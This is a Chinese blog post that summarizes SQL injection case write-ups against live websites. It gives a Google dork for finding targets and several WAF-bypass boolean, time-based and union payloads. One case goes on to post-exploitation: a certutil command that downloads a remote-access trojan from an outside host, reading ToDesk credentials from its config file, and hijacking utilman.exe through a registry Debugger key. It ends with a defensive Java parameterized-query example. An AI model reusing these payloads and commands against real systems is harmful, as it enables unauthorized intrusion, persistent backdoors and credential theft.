sql注入案例总结

本文详细描述了在ASP站点的Access数据库中进行SQL注入的检测、类型判断、poc测试方法,包括如何利用单引号、字符长度测试、构造轮子、绕过WAF以及最终获取数据库信息的过程。作者强调了合理使用工具、灵活变换策略的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、access注入.docx

1、信息收集

发现为asp站,access数据库

首先判断注入类型,判断完之后为数字型注入

2、测试poc

丢入poc:%20and%20exists%20(select%20*%20from%20表名)

3、用bp爆出表名

得到表名为news

2、sql注入报告.docx

1、用单引号多次试探返回字节长度

2、找到规律率后构建轮子

poc:   'or+1='1永恒之白

3、发现有waf后测试出过滤字符

尝试or、=、<>、!=、like、alike、regexp、xor、and、%0a、/**/、user()、database()、hostname、version

4、构建轮子尝试:

Poc: 1'or%0a'user'%0alike'b

Poc : 1'or%0a'()'%0alike'b

5、尝试成功后,用工具跑出表名,到此为止

3、绕过waf

1、单引号测试闭合发现sql语句

2、尝试联合注入,测试字段长度

Poc:1'union+select+1,2,...,n --+

3、多次尝试获得回显位置

4、SQL注入-盲注.pdf

1、单引号尝试注入点,发现返回字节长度规律

2、构造轮子尝试获取数据

3、如有waf想办法绕过

5、记一次SQL注入#2.pdf

1、发现注入点

2、单引号多次尝试,发现呈现周期性的变化

3、手工注入,构造 poc 轮子

4、多次尝试后获得poc

poc 'or+1/0=1+or'a'='a
5、用工具爆出库名,到此为止

6、记一次SQL注入#3.pdf

1 、挖掘注入点
谷歌语法: inurl: "?id="
2、在参数值后面加 /1 /0 判断注入类型(数值型、字符型)
3、 构造轮子
if(1,1,0) 可行,=,like,<>, !=, >=,<=,>,< ,rlike,ascii,mid出现永恒之白
多次尝试发现hex(), schema() ,left(),right()可行
4、获取 poc: 2/if(68.=hex(left(schema(),1)),1,0)
5、用工具跑出库名那个,到此为止

7、记一次渗透测试#H1某目标SQL注入.pdf

1、信息收集

2、发现可疑点果断下手

3、尝试无果后果断放弃,此家无缘换下一家

4、继续构建轮子,查看回显

Poc: 1'or%20if(1,sleep(3),1)='1
5、找到规律生成poc
Poc :1'or%20if((user()like'h%'),sleep(3),1)='1
6、工具跑出库名,到此为止

8、记一次由SQL注入引发的血案.pdf

1、懒人模式,上来直接工具扫出漏洞,system 权限的注入

2、可执行命令直接上上马(免杀马伺候)

windows 远程下载绕过命令就往它目录里下我的远控木马
命令:
certutil -url""""cache -split -f http://xxxx/1.exe
C:\ProgramData\1.exe
3、当止步不前时,多看看有啥可利用工具( todesk
todesk 这个软件可以静默安装(静默安装的命令
todesk.exe /S ),而且我
们和连接密码都在配置文件中,配置文件一般都是 C:\Program
Files\ToDesk\config.ini,咱可以利用 type 命令直接查看安装后的配置文件,
从而获取目标系统连接的账户的 id 和密码,从而登录目标系统的桌面
4、没有账号密码是,看看界面有啥可利用点(utilman)
utilman 是 Windows 辅助工具管理器程序也就是放大镜,粘滞键等等
而 windows 中 : tscon 命令常常用来 切换远程桌面的会话 ,我们如果能劫
utilman,将 utilman 替换成 cmd.exe,我们点击以后就可以弹出 cmd 的框,
这样我们使用 tscon 命令就可以切换到他管理员的桌面
5、注入劫持命令
命令: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d
"C:\windows\system32\cmd.exe" /f
6、劫持后想干啥就能干啥
点击我们的 utilman,可以看到成功弹出我们 cmd 框
可以看到 administrator 的 id 为 1
使用命令 tscon 1
7、成功切换到桌面后及时收手,非礼勿视

9、绕过正则SQL注入.pdf

1、寻找注入点

参数后面不断添加单引号,返回包中的 “ data ”数值呈规律性变化,判断此处存在 SQL 注入
2、构造基础 POC
多次尝试发现服务器waf正则匹配,于是乎采用注释加换行绕过
commonUserName=123'or--+777777777777%0a1='1
POC 变形: commonUserName=123'or-- +777777777777%0aUSER%0alike'A%
3、跑数据
爆出数据库名,及时收手

10、总结

1、利用工具,网站,等收集信息寻找注入点

2、找不到注入点果断换下一家,不要浪费时间(方向不对,努力白费)

3、构造轮子多次尝试绕WAF

4、生成POC

5、跑出库名

6、及时止步,远离犯罪

Java SQL注入是一种常见的安全漏洞,攻击者可以通过构造恶意的SQL语句,获取或修改数据库中的数据。下面是一个简单的Java SQL注入案例: 假设有一个使用JDBC连接数据库的Java程序,其中一个查询用户信息的方法如下: ``` public User getUser(String username, String password) throws SQLException { String sql = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"; Connection conn = DriverManager.getConnection(url, user, passwd); PreparedStatement pstmt = conn.prepareStatement(sql); ResultSet rs = pstmt.executeQuery(); if (rs.next()) { User user = new User(); user.setUsername(rs.getString("username")); user.setPassword(rs.getString("password")); user.setEmail(rs.getString("email")); return user; } else { return null; } } ``` 这个方法接收一个用户名和密码参数,从数据库中查询对应的用户信息。但是,如果攻击者将恶意的SQL语句传递给该方法,就可以造成SQL注入攻击。例如,如果攻击者将用户名参数设置为: ``` john' OR '1'='1 ``` 则构成的SQL语句为: ``` SELECT * FROM users WHERE username='john' OR '1'='1' AND password='xxxxx' ``` 这个SQL语句会返回所有用户的信息,因为'1'='1'永远为真。攻击者可以通过这种方式获取到所有用户的信息,甚至可以修改数据库中的数据。 为了防止SQL注入攻击,应该使用参数化查询,将用户输入的参数作为参数传递给SQL语句。修改上面的代码如下: ``` public User getUser(String username, String password) throws SQLException { String sql = "SELECT * FROM users WHERE username=? AND password=?"; Connection conn = DriverManager.getConnection(url, user, passwd); PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); pstmt.setString(2, password); ResultSet rs = pstmt.executeQuery(); if (rs.next()) { User user = new User(); user.setUsername(rs.getString("username")); user.setPassword(rs.getString("password")); user.setEmail(rs.getString("email")); return user; } else { return null; } } ``` 使用参数化查询后,即使攻击者传递恶意的用户名和密码,也不会造成SQL注入攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值